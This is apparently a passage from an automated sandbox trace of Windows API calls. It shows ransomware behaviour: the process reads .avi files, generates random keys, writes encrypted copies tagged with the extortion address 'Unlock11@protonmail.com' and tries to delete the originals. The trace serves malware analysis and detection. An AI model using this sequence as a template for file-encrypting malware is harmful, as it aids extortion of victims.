0x37bf790 [0122.000] GetLastError () returned 0x0 [0122.000] GetLastError () returned 0x0 [0122.000] GetLastError () returned 0x0 [0122.000] GetLastError () returned 0x0 [0122.000] GetCurrentThreadId () returned 0x9b0 [0122.001] GetLastError () returned 0x0 [0122.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.001] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0122.001] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.001] GetLastError () returned 0x0 [0122.003] GetLastError () returned 0x0 [0122.003] GetCurrentThreadId () returned 0x9b0 [0122.003] GetLastError () returned 0x0 [0122.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.003] GetLastError () returned 0x0 [0122.004] GetLastError () returned 0x0 [0122.004] GetCurrentThreadId () returned 0x9b0 [0122.004] GetLastError () returned 0x0 [0122.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.004] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x37bf790, Size=0x48f5) returned 0x37bf790 [0122.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d48 [0122.004] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0122.004] GetCurrentThreadId () returned 0x9b0 [0122.004] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x48f8) returned 0x35bc9f0 [0122.004] GetLastError () returned 0x0 [0122.005] GetLastError () returned 0x0 [0122.005] GetLastError () returned 0x0 [0122.005] GetLastError () returned 0x0 [0122.005] GetCurrentThreadId () returned 0x9b0 [0122.005] GetLastError () returned 0x0 [0122.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc9f0 | out: hHeap=0x2ad0000) returned 1 [0122.005] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0122.005] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0122.005] GetLastError () returned 0x0 [0122.006] GetLastError () returned 0x0 [0122.006] GetCurrentThreadId () returned 0x9b0 [0122.006] GetLastError () returned 0x0 [0122.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c4090 | out: hHeap=0x2ad0000) returned 1 [0122.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37c4090 [0122.006] GetLastError () returned 0x0 [0122.006] GetLastError () returned 0x0 [0122.006] GetCurrentThreadId () returned 0x9b0 [0122.006] GetLastError () returned 0x0 [0122.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37c4090 | out: hHeap=0x2ad0000) returned 1 [0122.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.007] GetLastError () returned 0x0 [0122.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.007] CloseHandle (hObject=0x3ac) returned 1 [0122.007] GetLastError () returned 0x0 [0122.007] GetCurrentThreadId () returned 0x9b0 [0122.008] GetLastError () returned 0x0 [0122.008] GetLastError () returned 0x0 [0122.008] CloseHandle (hObject=0x39c) returned 1 [0122.008] GetLastError () returned 0x0 [0122.008] GetCurrentThreadId () returned 0x9b0 [0122.008] GetLastError () returned 0x0 [0122.008] GetLastError () returned 0x0 [0122.008] GetLastError () returned 0x0 [0122.008] GetLastError () returned 0x0 [0122.008] GetLastError () returned 0x0 [0122.009] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0 [0122.009] GetLastError () returned 0x5 [0122.009] GetCurrentThreadId () returned 0x9b0 [0122.009] GetLastError () returned 0x5 [0122.009] GetLastError () returned 0x5 [0122.009] GetLastError () returned 0x5 [0122.009] GetLastError () returned 0x5 [0122.009] LocalFree (hMem=0x1053c70) returned 0x0 [0122.009] GetCurrentThreadId () returned 0x9b0 [0122.010] GetLastError () returned 0x5 [0122.010] GetLastError () returned 0x5 [0122.010] GetLastError () returned 0x5 [0122.010] GetLastError () returned 0x5 [0122.010] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", lpFilePart=0x9bada4*="correct.avi") returned 0x44 [0122.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0122.010] GetCurrentThreadId () returned 0x9b0 [0122.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0122.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0122.010] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0122.010] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.011] GetLastError () returned 0x0 [0122.011] GetLastError () returned 0x0 [0122.011] GetLastError () returned 0x0 [0122.011] GetLastError () returned 0x0 [0122.011] GetCurrentThreadId () returned 0x9b0 [0122.011] GetLastError () returned 0x0 [0122.011] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.011] GetCurrentThreadId () returned 0x9b0 [0122.011] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea340 [0122.011] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetCurrentThreadId () returned 0x9b0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetLastError () returned 0x0 [0122.012] GetCurrentThreadId () returned 0x9b0 [0122.012] GetLastError () returned 0x0 [0122.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea340 | out: hHeap=0x2ad0000) returned 1 [0122.013] GetLastError () returned 0x0 [0122.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0122.013] GetLastError () returned 0x0 [0122.013] GetLastError () returned 0x0 [0122.013] GetLastError () returned 0x0 [0122.013] GetCurrentThreadId () returned 0x9b0 [0122.013] GetLastError () returned 0x0 [0122.013] GetCurrentThreadId () returned 0x9b0 [0122.013] GetLastError () returned 0x0 [0122.013] GetLastError () returned 0x0 [0122.014] GetLastError () returned 0x0 [0122.014] GetLastError () returned 0x0 [0122.014] GetCurrentThreadId () returned 0x9b0 [0122.014] GetLastError () returned 0x0 [0122.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0122.014] GetLastError () returned 0x0 [0122.014] GetCurrentThreadId () returned 0x9b0 [0122.014] GetLastError () returned 0x0 [0122.014] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc)) returned 1 [0122.014] GetLastError () returned 0x0 [0122.015] GetCurrentThreadId () returned 0x9b0 [0122.015] GetLastError () returned 0x0 [0122.015] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0122.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0122.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0122.015] GetCurrentThreadId () returned 0x9b0 [0122.015] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.015] GetCurrentThreadId () returned 0x9b0 [0122.015] GetLastError () returned 0x0 [0122.015] GetCurrentThreadId () returned 0x9b0 [0122.015] GetCurrentThreadId () returned 0x9b0 [0122.016] GetLastError () returned 0x0 [0122.016] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.016] GetFileType (hFile=0x39c) returned 0x1 [0122.016] GetCurrentThreadId () returned 0x9b0 [0122.016] GetLastError () returned 0x0 [0122.016] GetFileType (hFile=0x39c) returned 0x1 [0122.016] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.016] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.017] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.017] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.017] GetLastError () returned 0x0 [0122.017] GetCurrentThreadId () returned 0x9b0 [0122.017] GetLastError () returned 0x0 [0122.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0122.017] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbb70 | out: hHeap=0x2ad0000) returned 1 [0122.017] GetLastError () returned 0x0 [0122.017] GetLastError () returned 0x0 [0122.017] GetLastError () returned 0x0 [0122.018] GetLastError () returned 0x0 [0122.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0122.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c38 [0122.018] GetLastError () returned 0x0 [0122.018] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0122.019] GetFileType (hFile=0x3ac) returned 0x1 [0122.019] GetLastError () returned 0x0 [0122.019] GetCurrentThreadId () returned 0x9b0 [0122.019] GetLastError () returned 0x0 [0122.019] GetFileType (hFile=0x3ac) returned 0x1 [0122.019] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.020] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.020] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.020] GetLastError () returned 0x0 [0122.020] GetCurrentThreadId () returned 0x9b0 [0122.020] GetLastError () returned 0x0 [0122.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0122.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0122.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0122.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0122.021] GetLastError () returned 0x0 [0122.021] GetLastError () returned 0x0 [0122.021] GetCurrentThreadId () returned 0x9b0 [0122.021] GetLastError () returned 0x0 [0122.021] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0122.021] GetLastError () returned 0x0 [0122.021] GetLastError () returned 0x0 [0122.021] GetCurrentThreadId () returned 0x9b0 [0122.021] GetLastError () returned 0x0 [0122.021] GetLastError () returned 0x0 [0122.023] GetLastError () returned 0x0 [0122.023] GetCurrentThreadId () returned 0x9b0 [0122.024] GetLastError () returned 0x0 [0122.024] GetCurrentThreadId () returned 0x9b0 [0122.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d68 [0122.024] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0122.024] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0122.025] GetLastError () returned 0x0 [0122.025] GetLastError () returned 0x0 [0122.025] GetLastError () returned 0x0 [0122.025] GetLastError () returned 0x0 [0122.025] GetCurrentThreadId () returned 0x9b0 [0122.025] GetLastError () returned 0x0 [0122.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.025] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0122.025] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.026] GetLastError () returned 0x0 [0122.027] GetLastError () returned 0x0 [0122.027] GetCurrentThreadId () returned 0x9b0 [0122.027] GetLastError () returned 0x0 [0122.027] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.028] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0122.028] GetLastError () returned 0x0 [0122.029] GetLastError () returned 0x0 [0122.029] GetCurrentThreadId () returned 0x9b0 [0122.029] GetLastError () returned 0x0 [0122.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cb8 [0122.029] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d68 | out: hHeap=0x2ad0000) returned 1 [0122.029] GetCurrentThreadId () returned 0x9b0 [0122.029] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0122.029] GetLastError () returned 0x0 [0122.030] GetLastError () returned 0x0 [0122.030] GetLastError () returned 0x0 [0122.030] GetLastError () returned 0x0 [0122.030] GetCurrentThreadId () returned 0x9b0 [0122.030] GetLastError () returned 0x0 [0122.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.030] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0122.030] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0122.030] GetLastError () returned 0x0 [0122.031] GetLastError () returned 0x0 [0122.031] GetCurrentThreadId () returned 0x9b0 [0122.031] GetLastError () returned 0x0 [0122.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0122.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0122.032] GetLastError () returned 0x0 [0122.032] GetLastError () returned 0x0 [0122.032] GetCurrentThreadId () returned 0x9b0 [0122.032] GetLastError () returned 0x0 [0122.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.032] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xbfe5) returned 0x36f8548 [0122.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6bd8 [0122.033] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cb8 | out: hHeap=0x2ad0000) returned 1 [0122.033] GetCurrentThreadId () returned 0x9b0 [0122.033] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xbfe8) returned 0x37bf790 [0122.033] GetLastError () returned 0x0 [0122.033] GetLastError () returned 0x0 [0122.033] GetLastError () returned 0x0 [0122.033] GetLastError () returned 0x0 [0122.033] GetCurrentThreadId () returned 0x9b0 [0122.033] GetLastError () returned 0x0 [0122.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0122.034] GetLastError () returned 0x0 [0122.035] GetLastError () returned 0x0 [0122.035] GetCurrentThreadId () returned 0x9b0 [0122.035] GetLastError () returned 0x0 [0122.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37cb780 | out: hHeap=0x2ad0000) returned 1 [0122.035] GetLastError () returned 0x0 [0122.035] GetLastError () returned 0x0 [0122.035] GetCurrentThreadId () returned 0x9b0 [0122.035] GetLastError () returned 0x0 [0122.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0122.035] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0122.035] GetLastError () returned 0x0 [0122.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0122.036] CloseHandle (hObject=0x3ac) returned 1 [0122.036] GetLastError () returned 0x0 [0122.036] GetCurrentThreadId () returned 0x9b0 [0122.036] GetLastError () returned 0x0 [0122.036] GetLastError () returned 0x0 [0122.036] CloseHandle (hObject=0x39c) returned 1 [0122.036] GetLastError () returned 0x0 [0122.037] GetCurrentThreadId () returned 0x9b0 [0122.037] GetLastError () returned 0x0 [0122.037] GetLastError () returned 0x0 [0122.037] GetLastError () returned 0x0 [0122.037] GetLastError () returned 0x0 [0122.037] GetLastError () returned 0x0 [0122.037] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0 [0122.037] GetLastError () returned 0x5 [0122.037] GetCurrentThreadId () returned 0x9b0 [0122.038] GetLastError () returned 0x5 [0122.038] GetLastError () returned 0x5 [0122.038] GetLastError () returned 0x5 [0122.038] GetLastError () returned 0x5 [0122.038] LocalFree (hMem=0x1053c70) returned 0x0 [0122.038] GetCurrentThreadId () returned 0x9b0 [0122.038] GetLastError () returned 0x5 [0122.039] GetLastError () returned 0x5 [0122.039] GetLastError () returned 0x5 [0122.039] GetLastError () returned 0x5 [0122.039] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", lpFilePart=0x9bada4*="delete.avi") returned 0x43 [0122.039] GetCurrentThreadId () returned 0x9b0 [0122.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.039] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0122.039] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.039] GetLastError () returned 0x0 [0122.039] GetLastError () returned 0x0 [0122.040] GetLastError () returned 0x0 [0122.040] GetLastError () returned 0x0 [0122.040] GetCurrentThreadId () returned 0x9b0 [0122.040] GetLastError () returned 0x0 [0122.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.040] GetCurrentThreadId () returned 0x9b0 [0122.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.040] GetLastError () returned 0x0 [0122.040] GetLastError () returned 0x0 [0122.040] GetLastError () returned 0x0 [0122.041] GetLastError () returned 0x0 [0122.041] GetCurrentThreadId () returned 0x9b0 [0122.041] GetLastError () returned 0x0 [0122.041] GetLastError () returned 0x0 [0122.041] GetLastError () returned 0x0 [0122.041] GetLastError () returned 0x0 [0122.041] GetLastError () returned 0x0 [0122.041] GetCurrentThreadId () returned 0x9b0 [0122.041] GetLastError () returned 0x0 [0122.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.041] GetLastError () returned 0x0 [0122.042] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0122.042] GetLastError () returned 0x0 [0122.042] GetLastError () returned 0x0 [0122.042] GetLastError () returned 0x0 [0122.042] GetCurrentThreadId () returned 0x9b0 [0122.042] GetLastError () returned 0x0 [0122.042] GetCurrentThreadId () returned 0x9b0 [0122.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a8a8 [0122.042] GetLastError () returned 0x0 [0122.042] GetLastError () returned 0x0 [0122.042] GetLastError () returned 0x0 [0122.043] GetLastError () returned 0x0 [0122.043] GetCurrentThreadId () returned 0x9b0 [0122.043] GetLastError () returned 0x0 [0122.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0122.043] GetLastError () returned 0x0 [0122.043] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0122.043] GetLastError () returned 0x0 [0122.043] GetLastError () returned 0x0 [0122.043] GetLastError () returned 0x0 [0122.043] GetCurrentThreadId () returned 0x9b0 [0122.043] GetLastError () returned 0x0 [0122.043] GetLastError () returned 0x0 [0122.044] GetLastError () returned 0x0 [0122.044] GetLastError () returned 0x0 [0122.044] GetLastError () returned 0x0 [0122.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0122.044] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18)) returned 1 [0122.044] GetLastError () returned 0x0 [0122.044] GetCurrentThreadId () returned 0x9b0 [0122.044] GetLastError () returned 0x0 [0122.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db8f0 | out: hHeap=0x2ad0000) returned 1 [0122.045] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0122.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0122.045] GetCurrentThreadId () returned 0x9b0 [0122.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.045] GetLastError () returned 0x0 [0122.045] GetLastError () returned 0x0 [0122.045] GetLastError () returned 0x0 [0122.045] GetLastError () returned 0x0 [0122.045] GetCurrentThreadId () returned 0x9b0 [0122.045] GetLastError () returned 0x0 [0122.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.046] GetCurrentThreadId () returned 0x9b0 [0122.046] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea278 [0122.046] GetLastError () returned 0x0 [0122.046] GetLastError () returned 0x0 [0122.046] GetLastError () returned 0x0 [0122.046] GetLastError () returned 0x0 [0122.046] GetCurrentThreadId () returned 0x9b0 [0122.046] GetLastError () returned 0x0 [0122.046] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea278 | out: hHeap=0x2ad0000) returned 1 [0122.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0122.047] GetLastError () returned 0x0 [0122.047] GetLastError () returned 0x0 [0122.047] GetLastError () returned 0x0 [0122.047] GetLastError () returned 0x0 [0122.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0122.047] GetLastError () returned 0x0 [0122.047] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0122.048] GetFileType (hFile=0x39c) returned 0x1 [0122.048] GetLastError () returned 0x0 [0122.048] GetCurrentThreadId () returned 0x9b0 [0122.048] GetLastError () returned 0x0 [0122.048] GetFileType (hFile=0x39c) returned 0x1 [0122.048] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0122.048] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0122.048] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0122.048] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 